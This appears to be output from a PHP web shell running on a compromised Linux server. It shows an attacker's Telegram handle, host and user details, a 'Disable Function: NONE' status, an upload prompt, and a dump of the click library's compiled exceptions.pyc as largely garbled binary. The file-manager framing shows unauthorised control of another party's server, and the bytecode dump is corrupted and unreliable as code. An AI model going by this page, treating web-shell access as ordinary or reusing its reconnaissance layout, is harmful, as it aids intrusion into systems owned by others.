https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/click/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/click/exceptions.pyc
�
./�_c@s)ddlmZddlmZddlmZddlmZd�Zdefd��YZdefd	��YZ	d
e	fd��YZ
de
fd
��YZde	fd��YZde	fd��YZ
de	fd��YZdefd��YZdefd��YZdefd��YZdS(i(tfilename_to_ui(tget_text_stderr(tPY2(techocCs0t|ttf�r,djd�|D��S|S(Ns / css|]}t|�VqdS(N(trepr(t.0tx((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pys	<genexpr>	s(t
isinstancettupletlisttjoin(t
param_hint((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyt_join_param_hintsstClickExceptioncBsSeZdZdZd�Zd�Zd�ZerEeZd�Zndd�Z
RS(s8An exception that Click can handle and show to the user.icCsJ|}tr-|dk	r-|jd�}q-ntj||�||_dS(Nsutf-8(RtNonetencodet	Exceptiont__init__tmessage(tselfRtctor_msg((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyRscCs|jS(N(R(R((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pytformat_messagescCs|jS(N(R(R((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyt__str__scCs|jjd�S(Nsutf-8(RR(R((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR$scCs;|dkrt�}ntdj|j��d|�dS(Ns	Error: {}tfile(RRRtformatR(RR((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pytshow'sN(t__name__t
__module__t__doc__t	exit_codeRRRRt__unicode__RR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR

s			t
UsageErrorcBs,eZdZdZdd�Zdd�ZRS(s+An internal exception that signals a usage error.  This typically
    aborts any further handling.

    :param message: the error message to display.
    :param ctx: optionally the context that caused this error.  Click will
                fill in the context automatically in some situations.
    icCs;tj||�||_|jr.|jjnd|_dS(N(R
RtctxtcommandRtcmd(RRR ((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR8s	cCs�|dkrt�}nd}d}|jdk	rs|jj|j�dk	rsdj|jj|jjd�}n|jdk	r�|jj}t	dj|jj
�|�d|d|�nt	dj|j��d|d|�dS(NtsTry '{} {}' for help.
is{}
{}Rtcolors	Error: {}(RRR"tget_help_optionR Rtcommand_paththelp_option_namesR$Rt	get_usageR(RRR$thint((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR=s*.N(RRRRRRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR-stBadParametercBs)eZdZdddd�Zd�ZRS(s
An exception that formats out a standardized error message for a
    bad parameter.  This is useful when thrown from a callback or type as
    Click will attach contextual information to it (for instance, which
    parameter it is).

    .. versionadded:: 2.0

    :param param: the parameter object that caused this error.  This can
                  be left out, and Click will attach this info itself
                  if possible.
    :param param_hint: a string that shows up as parameter name.  This
                       can be used as alternative to `param` in cases
                       where custom validation should happen.  If it is
                       a string it's used as such, if it's a list then
                       each item is quoted and separated.
    cCs)tj|||�||_||_dS(N(RRtparamR(RRR R+R((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR^s	cCsq|jdk	r|j}n7|jdk	rB|jj|j�}ndj|j�St|�}dj||j�S(NsInvalid value: {}sInvalid value for {}: {}(RRR+tget_error_hintR RRR(RR((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyRcsN(RRRRRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR*LstMissingParametercBsPeZdZdddddd�Zd�Zd�ZerNeZd�ZnRS(s�Raised if click required an option or argument but it was not
    provided when invoking the script.

    .. versionadded:: 4.0

    :param param_type: a string that indicates the type of the parameter.
                       The default is to inherit the parameter type from
                       the given `param`.  Valid values are ``'parameter'``,
                       ``'option'`` or ``'argument'``.
    cCs&tj|||||�||_dS(N(R*Rt
param_type(RRR R+RR.((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR{scCs"|jdk	r|j}n-|jdk	rB|jj|j�}nd}t|�}|j}|dkr�|jdk	r�|jj}n|j}|jdk	r�|jj	j
|j�}|r�|r�|dj|�7}q�|}q�ndj||rdj|�nd|rdnd|pd�S(Ns.  {}sMissing {}{}{}{}s {}R#s.  t.(RRR+R,R RR.tparam_type_nameRttypetget_missing_messageR(RRR.tmsgt	msg_extra((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�s*		cCsB|jdkr7|jr$|jjnd}dj|�S|jSdS(Nsmissing parameter: {}(RRR+tnameR(Rt
param_name((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�s
cCs|j�jd�S(Nsutf-8(RR(R((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�sN(	RRRRRRRRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR-os
		tNoSuchOptioncBs)eZdZdddd�Zd�ZRS(sfRaised if click attempted to handle an option that does not
    exist.

    .. versionadded:: 4.0
    cCsG|dkrdj|�}ntj|||�||_||_dS(Nsno such option: {}(RRRRtoption_namet
possibilities(RR8RR9R ((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�s
	cCs�|jg}|jr{t|j�dkrJ|jdj|jd��q{t|j�}|jdjdj|���ndj|�S(NisDid you mean {}?is(Possible options: {})s, s  (RR9tlentappendRtsortedR
(RtbitsR9((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�s	 "N(RRRRRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR7�stBadOptionUsagecBseZdZdd�ZRS(sRaised if an option is generally supplied but the use of the option
    was incorrect.  This is for instance raised if the number of arguments
    for an option is not correct.

    .. versionadded:: 4.0

    :param option_name: the name of the option being used incorrectly.
    cCs tj|||�||_dS(N(RRR8(RR8RR ((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�sN(RRRRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR>�stBadArgumentUsagecBseZdZdd�ZRS(s�Raised if an argument is generally supplied but the use of the argument
    was incorrect.  This is for instance raised if the number of values
    for an argument is not correct.

    .. versionadded:: 6.0
    cCstj|||�dS(N(RR(RRR ((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�sN(RRRRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR?�st	FileErrorcBs#eZdZdd�Zd�ZRS(s"Raised if a file cannot be opened.cCsGt|�}|dkr!d}ntj||�||_||_dS(Ns
unknown error(RRR
Rtui_filenametfilename(RRBR)RA((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�s		cCsdj|j|j�S(NsCould not open file {}: {}(RRAR(R((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�sN(RRRRRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR@�stAbortcBseZdZRS(s=An internal signalling exception that signals Click to abort.(RRR(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyRC�stExitcBs eZdZdZdd�ZRS(s�An exception that indicates that the application should exit with some
    status code.

    :param code: the status code to exit with.
    RicCs
||_dS(N(R(Rtcode((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyR�s(s	exit_code(RRRt	__slots__R(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyRD�sN(t_compatRRRtutilsRRRR
RR*R-R7R>R?R@tRuntimeErrorRCRD(((s1/tmp/pip-install-sTXtzD/click/click/exceptions.pyt<module>s	 #=

https://t.me/AnonymousX5 - 2025